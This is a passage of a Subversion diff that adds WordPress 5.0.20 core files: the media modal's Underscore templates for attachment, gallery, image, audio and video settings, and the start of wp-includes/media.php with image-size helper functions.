+			<button type="button" class="check" tabindex="-1"><span class="media-modal-icon"></span><span class="screen-reader-text"><?php _e( 'Deselect' ); ?></span></button>
+		<# } #>
+		<#
+		var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly';
+		if ( data.describe ) {
+			if ( 'image' === data.type ) { #>
+				<input type="text" value="{{ data.caption }}" class="describe" data-setting="caption"
+					placeholder="<?php esc_attr_e('Caption this image&hellip;'); ?>" {{ maybeReadOnly }} />
+			<# } else { #>
+				<input type="text" value="{{ data.title }}" class="describe" data-setting="title"
+					<# if ( 'video' === data.type ) { #>
+						placeholder="<?php esc_attr_e('Describe this video&hellip;'); ?>"
+					<# } else if ( 'audio' === data.type ) { #>
+						placeholder="<?php esc_attr_e('Describe this audio file&hellip;'); ?>"
+					<# } else { #>
+						placeholder="<?php esc_attr_e('Describe this media file&hellip;'); ?>"
+					<# } #> {{ maybeReadOnly }} />
+			<# }
+		} #>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-details">
+		<h2>
+			<?php _e( 'Attachment Details' ); ?>
+			<span class="settings-save-status">
+				<span class="spinner"></span>
+				<span class="saved"><?php esc_html_e('Saved.'); ?></span>
+			</span>
+		</h2>
+		<div class="attachment-info">
+			<div class="thumbnail thumbnail-{{ data.type }}">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div></div></div>
+				<# } else if ( 'image' === data.type && data.sizes ) { #>
+					<img src="{{ data.size.url }}" draggable="false" alt="" />
+				<# } else { #>
+					<img src="{{ data.icon }}" class="icon" draggable="false" alt="" />
+				<# } #>
+			</div>
+			<div class="details">
+				<div class="filename">{{ data.filename }}</div>
+				<div class="uploaded">{{ data.dateFormatted }}</div>
+
+				<div class="file-size">{{ data.filesizeHumanReadable }}</div>
+				<# if ( 'image' === data.type && ! data.uploading ) { #>
+					<# if ( data.width && data.height ) { #>
+						<div class="dimensions">{{ data.width }} &times; {{ data.height }}</div>
+					<# } #>
+
+					<# if ( data.can.save && data.sizes ) { #>
+						<a class="edit-attachment" href="{{ data.editLink }}&amp;image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a>
+					<# } #>
+				<# } #>
+
+				<# if ( data.fileLength ) { #>
+					<div class="file-length"><?php _e( 'Length:' ); ?> {{ data.fileLength }}</div>
+				<# } #>
+
+				<# if ( ! data.uploading && data.can.remove ) { #>
+					<?php if ( MEDIA_TRASH ): ?>
+					<# if ( 'trash' === data.status ) { #>
+						<button type="button" class="button-link untrash-attachment"><?php _e( 'Untrash' ); ?></button>
+					<# } else { #>
+						<button type="button" class="button-link trash-attachment"><?php _ex( 'Trash', 'verb' ); ?></button>
+					<# } #>
+					<?php else: ?>
+						<button type="button" class="button-link delete-attachment"><?php _e( 'Delete Permanently' ); ?></button>
+					<?php endif; ?>
+				<# } #>
+
+				<div class="compat-meta">
+					<# if ( data.compat && data.compat.meta ) { #>
+						{{{ data.compat.meta }}}
+					<# } #>
+				</div>
+			</div>
+		</div>
+
+		<label class="setting" data-setting="url">
+			<span class="name"><?php _e('URL'); ?></span>
+			<input type="text" value="{{ data.url }}" readonly />
+		</label>
+		<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
+		<?php if ( post_type_supports( 'attachment', 'title' ) ) : ?>
+		<label class="setting" data-setting="title">
+			<span class="name"><?php _e('Title'); ?></span>
+			<input type="text" value="{{ data.title }}" {{ maybeReadOnly }} />
+		</label>
+		<?php endif; ?>
+		<# if ( 'audio' === data.type ) { #>
+		<?php foreach ( array(
+			'artist' => __( 'Artist' ),
+			'album' => __( 'Album' ),
+		) as $key => $label ) : ?>
+		<label class="setting" data-setting="<?php echo esc_attr( $key ) ?>">
+			<span class="name"><?php echo $label ?></span>
+			<input type="text" value="{{ data.<?php echo $key ?> || data.meta.<?php echo $key ?> || '' }}" />
+		</label>
+		<?php endforeach; ?>
+		<# } #>
+		<label class="setting" data-setting="caption">
+			<span class="name"><?php _e('Caption'); ?></span>
+			<textarea {{ maybeReadOnly }}>{{ data.caption }}</textarea>
+		</label>
+		<# if ( 'image' === data.type ) { #>
+			<label class="setting" data-setting="alt">
+				<span class="name"><?php _e('Alt Text'); ?></span>
+				<input type="text" value="{{ data.alt }}" {{ maybeReadOnly }} />
+			</label>
+		<# } #>
+		<label class="setting" data-setting="description">
+			<span class="name"><?php _e('Description'); ?></span>
+			<textarea {{ maybeReadOnly }}>{{ data.description }}</textarea>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-media-selection">
+		<div class="selection-info">
+			<span class="count"></span>
+			<# if ( data.editable ) { #>
+				<button type="button" class="button-link edit-selection"><?php _e( 'Edit Selection' ); ?></button>
+			<# } #>
+			<# if ( data.clearable ) { #>
+				<button type="button" class="button-link clear-selection"><?php _e( 'Clear' ); ?></button>
+			<# } #>
+		</div>
+		<div class="selection-view"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-display-settings">
+		<h2><?php _e( 'Attachment Display Settings' ); ?></h2>
+
+		<# if ( 'image' === data.type ) { #>
+			<label class="setting align">
+				<span><?php _e('Alignment'); ?></span>
+				<select class="alignment"
+					data-setting="align"
+					<# if ( data.userSettings ) { #>
+						data-user-setting="align"
+					<# } #>>
+
+					<option value="left">
+						<?php esc_html_e( 'Left' ); ?>
+					</option>
+					<option value="center">
+						<?php esc_html_e( 'Center' ); ?>
+					</option>
+					<option value="right">
+						<?php esc_html_e( 'Right' ); ?>
+					</option>
+					<option value="none" selected>
+						<?php esc_html_e( 'None' ); ?>
+					</option>
+				</select>
+			</label>
+		<# } #>
+
+		<div class="setting">
+			<label>
+				<# if ( data.model.canEmbed ) { #>
+					<span><?php _e('Embed or Link'); ?></span>
+				<# } else { #>
+					<span><?php _e('Link To'); ?></span>
+				<# } #>
+
+				<select class="link-to"
+					data-setting="link"
+					<# if ( data.userSettings && ! data.model.canEmbed ) { #>
+						data-user-setting="urlbutton"
+					<# } #>>
+
+				<# if ( data.model.canEmbed ) { #>
+					<option value="embed" selected>
+						<?php esc_html_e( 'Embed Media Player' ); ?>
+					</option>
+					<option value="file">
+				<# } else { #>
+					<option value="none" selected>
+						<?php esc_html_e( 'None' ); ?>
+					</option>
+					<option value="file">
+				<# } #>
+					<# if ( data.model.canEmbed ) { #>
+						<?php esc_html_e( 'Link to Media File' ); ?>
+					<# } else { #>
+						<?php esc_html_e( 'Media File' ); ?>
+					<# } #>
+					</option>
+					<option value="post">
+					<# if ( data.model.canEmbed ) { #>
+						<?php esc_html_e( 'Link to Attachment Page' ); ?>
+					<# } else { #>
+						<?php esc_html_e( 'Attachment Page' ); ?>
+					<# } #>
+					</option>
+				<# if ( 'image' === data.type ) { #>
+					<option value="custom">
+						<?php esc_html_e( 'Custom URL' ); ?>
+					</option>
+				<# } #>
+				</select>
+			</label>
+			<input type="text" class="link-to-custom" data-setting="linkUrl" />
+		</div>
+
+		<# if ( 'undefined' !== typeof data.sizes ) { #>
+			<label class="setting">
+				<span><?php _e('Size'); ?></span>
+				<select class="size" name="size"
+					data-setting="size"
+					<# if ( data.userSettings ) { #>
+						data-user-setting="imgsize"
+					<# } #>>
+					<?php
+					/** This filter is documented in wp-admin/includes/media.php */
+					$sizes = apply_filters( 'image_size_names_choose', array(
+						'thumbnail' => __('Thumbnail'),
+						'medium'    => __('Medium'),
+						'large'     => __('Large'),
+						'full'      => __('Full Size'),
+					) );
+
+					foreach ( $sizes as $value => $name ) : ?>
+						<#
+						var size = data.sizes['<?php echo esc_js( $value ); ?>'];
+						if ( size ) { #>
+							<option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>>
+								<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
+							</option>
+						<# } #>
+					<?php endforeach; ?>
+				</select>
+			</label>
+		<# } #>
+	</script>
+
+	<script type="text/html" id="tmpl-gallery-settings">
+		<h2><?php _e( 'Gallery Settings' ); ?></h2>
+
+		<label class="setting">
+			<span><?php _e('Link To'); ?></span>
+			<select class="link-to"
+				data-setting="link"
+				<# if ( data.userSettings ) { #>
+					data-user-setting="urlbutton"
+				<# } #>>
+
+				<option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' == wp.media.galleryDefaults.link ) {
+					#>selected="selected"<# }
+				#>>
+					<?php esc_html_e( 'Attachment Page' ); ?>
+				</option>
+				<option value="file" <# if ( 'file' == wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
+					<?php esc_html_e( 'Media File' ); ?>
+				</option>
+				<option value="none" <# if ( 'none' == wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
+					<?php esc_html_e( 'None' ); ?>
+				</option>
+			</select>
+		</label>
+
+		<label class="setting">
+			<span><?php _e('Columns'); ?></span>
+			<select class="columns" name="columns"
+				data-setting="columns">
+				<?php for ( $i = 1; $i <= 9; $i++ ) : ?>
+					<option value="<?php echo esc_attr( $i ); ?>" <#
+						if ( <?php echo $i ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# }
+					#>>
+						<?php echo esc_html( $i ); ?>
+					</option>
+				<?php endfor; ?>
+			</select>
+		</label>
+
+		<label class="setting">
+			<span><?php _e( 'Random Order' ); ?></span>
+			<input type="checkbox" data-setting="_orderbyRandom" />
+		</label>
+
+		<label class="setting size">
+			<span><?php _e( 'Size' ); ?></span>
+			<select class="size" name="size"
+				data-setting="size"
+				<# if ( data.userSettings ) { #>
+					data-user-setting="imgsize"
+				<# } #>
+				>
+				<?php
+				/** This filter is documented in wp-admin/includes/media.php */
+				$size_names = apply_filters( 'image_size_names_choose', array(
+					'thumbnail' => __( 'Thumbnail' ),
+					'medium'    => __( 'Medium' ),
+					'large'     => __( 'Large' ),
+					'full'      => __( 'Full Size' ),
+				) );
+
+				foreach ( $size_names as $size => $label ) : ?>
+					<option value="<?php echo esc_attr( $size ); ?>">
+						<?php echo esc_html( $label ); ?>
+					</option>
+				<?php endforeach; ?>
+			</select>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-playlist-settings">
+		<h2><?php _e( 'Playlist Settings' ); ?></h2>
+
+		<# var emptyModel = _.isEmpty( data.model ),
+			isVideo = 'video' === data.controller.get('library').props.get('type'); #>
+
+		<label class="setting">
+			<input type="checkbox" data-setting="tracklist" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<# if ( isVideo ) { #>
+			<span><?php _e( 'Show Video List' ); ?></span>
+			<# } else { #>
+			<span><?php _e( 'Show Tracklist' ); ?></span>
+			<# } #>
+		</label>
+
+		<# if ( ! isVideo ) { #>
+		<label class="setting">
+			<input type="checkbox" data-setting="artists" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<span><?php _e( 'Show Artist Name in Tracklist' ); ?></span>
+		</label>
+		<# } #>
+
+		<label class="setting">
+			<input type="checkbox" data-setting="images" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<span><?php _e( 'Show Images' ); ?></span>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-embed-link-settings">
+		<label class="setting link-text">
+			<span><?php _e( 'Link Text' ); ?></span>
+			<input type="text" class="alignment" data-setting="linkText" />
+		</label>
+		<div class="embed-container" style="display: none;">
+			<div class="embed-preview"></div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-embed-image-settings">
+		<div class="thumbnail">
+			<img src="{{ data.model.url }}" draggable="false" alt="" />
+		</div>
+
+		<?php
+		/** This filter is documented in wp-admin/includes/media.php */
+		if ( ! apply_filters( 'disable_captions', '' ) ) : ?>
+			<label class="setting caption">
+				<span><?php _e('Caption'); ?></span>
+				<textarea data-setting="caption" />
+			</label>
+		<?php endif; ?>
+
+		<label class="setting alt-text">
+			<span><?php _e('Alt Text'); ?></span>
+			<input type="text" data-setting="alt" />
+		</label>
+
+		<div class="setting align">
+			<span><?php _e('Align'); ?></span>
+			<div class="button-group button-large" data-setting="align">
+				<button class="button" value="left">
+					<?php esc_html_e( 'Left' ); ?>
+				</button>
+				<button class="button" value="center">
+					<?php esc_html_e( 'Center' ); ?>
+				</button>
+				<button class="button" value="right">
+					<?php esc_html_e( 'Right' ); ?>
+				</button>
+				<button class="button active" value="none">
+					<?php esc_html_e( 'None' ); ?>
+				</button>
+			</div>
+		</div>
+
+		<div class="setting link-to">
+			<span><?php _e('Link To'); ?></span>
+			<div class="button-group button-large" data-setting="link">
+				<button class="button" value="file">
+					<?php esc_html_e( 'Image URL' ); ?>
+				</button>
+				<button class="button" value="custom">
+					<?php esc_html_e( 'Custom URL' ); ?>
+				</button>
+				<button class="button active" value="none">
+					<?php esc_html_e( 'None' ); ?>
+				</button>
+			</div>
+			<input type="text" class="link-to-custom" data-setting="linkUrl" />
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-image-details">
+		<div class="media-embed">
+			<div class="embed-media-settings">
+				<div class="column-image">
+					<div class="image">
+						<img src="{{ data.model.url }}" draggable="false" alt="" />
+
+						<# if ( data.attachment && window.imageEdit ) { #>
+							<div class="actions">
+								<input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" />
+								<input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" />
+							</div>
+						<# } #>
+					</div>
+				</div>
+				<div class="column-settings">
+					<?php
+					/** This filter is documented in wp-admin/includes/media.php */
+					if ( ! apply_filters( 'disable_captions', '' ) ) : ?>
+						<label class="setting caption">
+							<span><?php _e('Caption'); ?></span>
+							<textarea data-setting="caption">{{ data.model.caption }}</textarea>
+						</label>
+					<?php endif; ?>
+
+					<label class="setting alt-text">
+						<span><?php _e('Alternative Text'); ?></span>
+						<input type="text" data-setting="alt" value="{{ data.model.alt }}" />
+					</label>
+
+					<h2><?php _e( 'Display Settings' ); ?></h2>
+					<div class="setting align">
+						<span><?php _e('Align'); ?></span>
+						<div class="button-group button-large" data-setting="align">
+							<button class="button" value="left">
+								<?php esc_html_e( 'Left' ); ?>
+							</button>
+							<button class="button" value="center">
+								<?php esc_html_e( 'Center' ); ?>
+							</button>
+							<button class="button" value="right">
+								<?php esc_html_e( 'Right' ); ?>
+							</button>
+							<button class="button active" value="none">
+								<?php esc_html_e( 'None' ); ?>
+							</button>
+						</div>
+					</div>
+
+					<# if ( data.attachment ) { #>
+						<# if ( 'undefined' !== typeof data.attachment.sizes ) { #>
+							<label class="setting size">
+								<span><?php _e('Size'); ?></span>
+								<select class="size" name="size"
+									data-setting="size"
+									<# if ( data.userSettings ) { #>
+										data-user-setting="imgsize"
+									<# } #>>
+									<?php
+									/** This filter is documented in wp-admin/includes/media.php */
+									$sizes = apply_filters( 'image_size_names_choose', array(
+										'thumbnail' => __('Thumbnail'),
+										'medium'    => __('Medium'),
+										'large'     => __('Large'),
+										'full'      => __('Full Size'),
+									) );
+
+									foreach ( $sizes as $value => $name ) : ?>
+										<#
+										var size = data.sizes['<?php echo esc_js( $value ); ?>'];
+										if ( size ) { #>
+											<option value="<?php echo esc_attr( $value ); ?>">
+												<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
+											</option>
+										<# } #>
+									<?php endforeach; ?>
+									<option value="<?php echo esc_attr( 'custom' ); ?>">
+										<?php _e( 'Custom Size' ); ?>
+									</option>
+								</select>
+							</label>
+						<# } #>
+							<div class="custom-size<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>">
+								<label><span><?php _e( 'Width' ); ?> <small>(px)</small></span> <input data-setting="customWidth" type="number" step="1" value="{{ data.model.customWidth }}" /></label><span class="sep">&times;</span><label><span><?php _e( 'Height' ); ?> <small>(px)</small></span><input data-setting="customHeight" type="number" step="1" value="{{ data.model.customHeight }}" /></label>
+							</div>
+					<# } #>
+
+					<div class="setting link-to">
+						<span><?php _e('Link To'); ?></span>
+						<select data-setting="link">
+						<# if ( data.attachment ) { #>
+							<option value="file">
+								<?php esc_html_e( 'Media File' ); ?>
+							</option>
+							<option value="post">
+								<?php esc_html_e( 'Attachment Page' ); ?>
+							</option>
+						<# } else { #>
+							<option value="file">
+								<?php esc_html_e( 'Image URL' ); ?>
+							</option>
+						<# } #>
+							<option value="custom">
+								<?php esc_html_e( 'Custom URL' ); ?>
+							</option>
+							<option value="none">
+								<?php esc_html_e( 'None' ); ?>
+							</option>
+						</select>
+						<input type="text" class="link-to-custom" data-setting="linkUrl" />
+					</div>
+					<div class="advanced-section">
+						<h2><button type="button" class="button-link advanced-toggle"><?php _e( 'Advanced Options' ); ?></button></h2>
+						<div class="advanced-settings hidden">
+							<div class="advanced-image">
+								<label class="setting title-text">
+									<span><?php _e('Image Title Attribute'); ?></span>
+									<input type="text" data-setting="title" value="{{ data.model.title }}" />
+								</label>
+								<label class="setting extra-classes">
+									<span><?php _e('Image CSS Class'); ?></span>
+									<input type="text" data-setting="extraClasses" value="{{ data.model.extraClasses }}" />
+								</label>
+							</div>
+							<div class="advanced-link">
+								<div class="setting link-target">
+									<label><input type="checkbox" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>><?php _e( 'Open link in a new tab' ); ?></label>
+								</div>
+								<label class="setting link-rel">
+									<span><?php _e('Link Rel'); ?></span>
+									<input type="text" data-setting="linkRel" value="{{ data.model.linkRel }}" />
+								</label>
+								<label class="setting link-class-name">
+									<span><?php _e('Link CSS Class'); ?></span>
+									<input type="text" data-setting="linkClassName" value="{{ data.model.linkClassName }}" />
+								</label>
+							</div>
+						</div>
+					</div>
+				</div>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-image-editor">
+		<div id="media-head-{{ data.id }}"></div>
+		<div id="image-editor-{{ data.id }}"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-audio-details">
+		<# var ext, html5types = {
+			mp3: wp.media.view.settings.embedMimes.mp3,
+			ogg: wp.media.view.settings.embedMimes.ogg
+		}; #>
+
+		<?php $audio_types = wp_get_audio_extensions(); ?>
+		<div class="media-embed media-embed-details">
+			<div class="embed-media-settings embed-audio-settings">
+				<?php wp_underscore_audio_template() ?>
+
+				<# if ( ! _.isEmpty( data.model.src ) ) {
+					ext = data.model.src.split('.').pop();
+					if ( html5types[ ext ] ) {
+						delete html5types[ ext ];
+					}
+				#>
+				<div class="setting">
+					<label for="audio-source"><?php _e( 'URL' ); ?></label>
+					<input type="text" id="audio-source" readonly data-setting="src" value="{{ data.model.src }}" />
+					<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
+				</div>
+				<# } #>
+				<?php
+
+				foreach ( $audio_types as $type ):
+				?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) {
+					if ( ! _.isUndefined( html5types.<?php echo $type ?> ) ) {
+						delete html5types.<?php echo $type ?>;
+					}
+				#>
+				<div class="setting">
+					<label for="<?php echo $type . '-source'; ?>"><?php echo strtoupper( $type ); ?></span>
+					<input type="text" id="<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
+					<button type="button" class="button-link remove-setting"><?php _e( 'Remove audio source' ); ?></button>
+				</div>
+				<# } #>
+				<?php endforeach ?>
+
+				<# if ( ! _.isEmpty( html5types ) ) { #>
+				<div class="setting">
+					<span><?php _e( 'Add alternate sources for maximum HTML5 playback:' ) ?></span>
+					<div class="button-large">
+					<# _.each( html5types, function (mime, type) { #>
+					<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
+					<# } ) #>
+					</div>
+				</div>
+				<# } #>
+
+				<div class="setting preload">
+					<span><?php _e( 'Preload' ); ?></span>
+					<div class="button-group button-large" data-setting="preload">
+						<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
+						<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
+						<button class="button active" value="none"><?php _e( 'None' ); ?></button>
+					</div>
+				</div>
+
+				<label class="setting checkbox-setting autoplay">
+					<input type="checkbox" data-setting="autoplay" />
+					<span><?php _e( 'Autoplay' ); ?></span>
+				</label>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="loop" />
+					<span><?php _e( 'Loop' ); ?></span>
+				</label>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-video-details">
+		<# var ext, html5types = {
+			mp4: wp.media.view.settings.embedMimes.mp4,
+			ogv: wp.media.view.settings.embedMimes.ogv,
+			webm: wp.media.view.settings.embedMimes.webm
+		}; #>
+
+		<?php $video_types = wp_get_video_extensions(); ?>
+		<div class="media-embed media-embed-details">
+			<div class="embed-media-settings embed-video-settings">
+				<div class="wp-video-holder">
+				<#
+				var w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width,
+					h = ! data.model.height ? 360 : data.model.height;
+
+				if ( data.model.width && w !== data.model.width ) {
+					h = Math.ceil( ( h * w ) / data.model.width );
+				}
+				#>
+
+				<?php wp_underscore_video_template() ?>
+
+				<# if ( ! _.isEmpty( data.model.src ) ) {
+					ext = data.model.src.split('.').pop();
+					if ( html5types[ ext ] ) {
+						delete html5types[ ext ];
+					}
+				#>
+				<div class="setting">
+					<label for="video-source"><?php _e( 'URL' ); ?></label>
+					<input type="text" id="video-source" readonly data-setting="src" value="{{ data.model.src }}" />
+					<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
+				</div>
+				<# } #>
+				<?php foreach ( $video_types as $type ):
+				?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) {
+					if ( ! _.isUndefined( html5types.<?php echo $type ?> ) ) {
+						delete html5types.<?php echo $type ?>;
+					}
+				#>
+				<div class="setting">
+					<label for="<?php echo $type . '-source'; ?>"><?php echo strtoupper( $type ); ?></label>
+					<input type="text" id="<?php echo $type . '-source'; ?>" readonly data-setting="<?php echo $type; ?>" value="{{ data.model.<?php echo $type; ?> }}" />
+					<button type="button" class="button-link remove-setting"><?php _e( 'Remove video source' ); ?></button>
+				</div>
+				<# } #>
+				<?php endforeach ?>
+				</div>
+
+				<# if ( ! _.isEmpty( html5types ) ) { #>
+				<div class="setting">
+					<span><?php _e( 'Add alternate sources for maximum HTML5 playback:' ); ?></span>
+					<div class="button-large">
+					<# _.each( html5types, function (mime, type) { #>
+					<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
+					<# } ) #>
+					</div>
+				</div>
+				<# } #>
+
+				<# if ( ! _.isEmpty( data.model.poster ) ) { #>
+				<div class="setting">
+					<label for="poster-image"><?php _e( 'Poster Image' ); ?></label>
+					<input type="text" id="poster-image" readonly data-setting="poster" value="{{ data.model.poster }}" />
+					<button type="button" class="button-link remove-setting"><?php _e( 'Remove poster image' ); ?></button>
+				</div>
+				<# } #>
+				<div class="setting preload">
+					<span><?php _e( 'Preload' ); ?></span>
+					<div class="button-group button-large" data-setting="preload">
+						<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
+						<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
+						<button class="button active" value="none"><?php _e( 'None' ); ?></button>
+					</div>
+				</div>
+
+				<label class="setting checkbox-setting autoplay">
+					<input type="checkbox" data-setting="autoplay" />
+					<span><?php _e( 'Autoplay' ); ?></span>
+				</label>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="loop" />
+					<span><?php _e( 'Loop' ); ?></span>
+				</label>
+
+				<div class="setting" data-setting="content">
+					<#
+					var content = '';
+					if ( ! _.isEmpty( data.model.content ) ) {
+						var tracks = jQuery( data.model.content ).filter( 'track' );
+						_.each( tracks.toArray(), function (track) {
+							content += track.outerHTML; #>
+						<label for="video-track"><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span>
+						<input class="content-track" type="text" id="video-track" readonly value="{{ track.outerHTML }}" />
+						<button type="button" class="button-link remove-setting remove-track"><?php _ex( 'Remove video track', 'media' ); ?></button>
+						<# } ); #>
+					<# } else { #>
+					<span><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span>
+					<em><?php _e( 'There are no associated subtitles.' ); ?></em>
+					<# } #>
+					<textarea class="hidden content-setting">{{ content }}</textarea>
+				</div>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-editor-gallery">
+		<# if ( data.attachments.length ) { #>
+			<div class="gallery gallery-columns-{{ data.columns }}">
+				<# _.each( data.attachments, function( attachment, index ) { #>
+					<dl class="gallery-item">
+						<dt class="gallery-icon">
+							<# if ( attachment.thumbnail ) { #>
+								<img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" alt="" />
+							<# } else { #>
+								<img src="{{ attachment.url }}" alt="" />
+							<# } #>
+						</dt>
+						<# if ( attachment.caption ) { #>
+							<dd class="wp-caption-text gallery-caption">
+								{{{ data.verifyHTML( attachment.caption ) }}}
+							</dd>
+						<# } #>
+					</dl>
+					<# if ( index % data.columns === data.columns - 1 ) { #>
+						<br style="clear: both;">
+					<# } #>
+				<# } ); #>
+			</div>
+		<# } else { #>
+			<div class="wpview-error">
+				<div class="dashicons dashicons-format-gallery"></div><p><?php _e( 'No items found.' ); ?></p>
+			</div>
+		<# } #>
+	</script>
+
+	<script type="text/html" id="tmpl-crop-content">
+		<img class="crop-image" src="{{ data.url }}" alt="<?php esc_attr_e( 'Image crop area preview. Requires mouse interaction.' ); ?>">
+		<div class="upload-errors"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-site-icon-preview">
+		<h2><?php _e( 'Preview' ); ?></h2>
+		<strong aria-hidden="true"><?php _e( 'As a browser icon' ); ?></strong>
+		<div class="favicon-preview">
+			<img src="<?php echo esc_url( admin_url( 'images/' . ( is_rtl() ? 'browser-rtl.png' : 'browser.png' ) ) ); ?>" class="browser-preview" width="182" height="" alt="" />
+
+			<div class="favicon">
+				<img id="preview-favicon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as a browser icon' ); ?>"/>
+			</div>
+			<span class="browser-title" aria-hidden="true"><?php echo esc_js( get_bloginfo( 'name' ) ); ?></span>
+		</div>
+
+		<strong aria-hidden="true"><?php _e( 'As an app icon' ); ?></strong>
+		<div class="app-icon-preview">
+			<img id="preview-app-icon" src="{{ data.url }}" alt="<?php esc_attr_e( 'Preview as an app icon' ); ?>"/>
+		</div>
+	</script>
+
+	<?php
+
+	/**
+	 * Fires when the custom Backbone media templates are printed.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'print_media_templates' );
+}
Index: /tags/5.0.20/src/wp-includes/media.php
===================================================================
--- /tags/5.0.20/src/wp-includes/media.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/media.php	(revision 56912)
@@ -0,0 +1,4058 @@
+<?php
+/**
+ * WordPress API for media display.
+ *
+ * @package WordPress
+ * @subpackage Media
+ */
+
+/**
+ * Retrieve additional image sizes.
+ *
+ * @since 4.7.0
+ *
+ * @global array $_wp_additional_image_sizes
+ *
+ * @return array Additional images size data.
+ */
+function wp_get_additional_image_sizes() {
+	global $_wp_additional_image_sizes;
+	if ( ! $_wp_additional_image_sizes ) {
+		$_wp_additional_image_sizes = array();
+	}
+	return $_wp_additional_image_sizes;
+}
+
+/**
+ * Scale down the default size of an image.
+ *
+ * This is so that the image is a better fit for the editor and theme.
+ *
+ * The `$size` parameter accepts either an array or a string. The supported string
+ * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
+ * 128 width and 96 height in pixels. Also supported for the string value is
+ * 'medium', 'medium_large' and 'full'. The 'full' isn't actually supported, but any value other
+ * than the supported will result in the content_width size or 500 if that is
+ * not set.
+ *
+ * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be
+ * called on the calculated array for width and height, respectively. The second
+ * parameter will be the value that was in the $size parameter. The returned
+ * type for the hook is an array with the width as the first element and the
+ * height as the second element.
+ *
+ * @since 2.5.0
+ *
+ * @global int   $content_width
+ *
+ * @param int          $width   Width of the image in pixels.
+ * @param int          $height  Height of the image in pixels.
+ * @param string|array $size    Optional. Image size. Accepts any valid image size, or an array
+ *                              of width and height values in pixels (in that order).
+ *                              Default 'medium'.
+ * @param string       $context Optional. Could be 'display' (like in a theme) or 'edit'
+ *                              (like inserting into an editor). Default null.
+ * @return array Width and height of what the result image should resize to.
+ */
+function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) {
+	global $content_width;
+
+	$_wp_additional_image_sizes = wp_get_additional_image_sizes();
+
+	if ( ! $context )
+		$context = is_admin() ? 'edit' : 'display';
+
+	if ( is_array($size) ) {
+		$max_width = $size[0];
+		$max_height = $size[1];
+	}
+	elseif ( $size == 'thumb' || $size == 'thumbnail' ) {
+		$max_width = intval(get_option('thumbnail_size_w'));
+		$max_height = intval(get_option('thumbnail_size_h'));
+		// last chance thumbnail size defaults
+		if ( !$max_width && !$max_height ) {
+			$max_width = 128;
+			$max_height = 96;
+		}
+	}
+	elseif ( $size == 'medium' ) {
+		$max_width = intval(get_option('medium_size_w'));
+		$max_height = intval(get_option('medium_size_h'));
+
+	}
+	elseif ( $size == 'medium_large' ) {
+		$max_width = intval( get_option( 'medium_large_size_w' ) );
+		$max_height = intval( get_option( 'medium_large_size_h' ) );
+
+		if ( intval( $content_width ) > 0 ) {
+			$max_width = min( intval( $content_width ), $max_width );
+		}
+	}
+	elseif ( $size == 'large' ) {
+		/*
+		 * We're inserting a large size image into the editor. If it's a really
+		 * big image we'll scale it down to fit reasonably within the editor
+		 * itself, and within the theme's content width if it's known. The user
+		 * can resize it in the editor if they wish.
+		 */
+		$max_width = intval(get_option('large_size_w'));
+		$max_height = intval(get_option('large_size_h'));
+		if ( intval($content_width) > 0 ) {
+			$max_width = min( intval($content_width), $max_width );
+		}
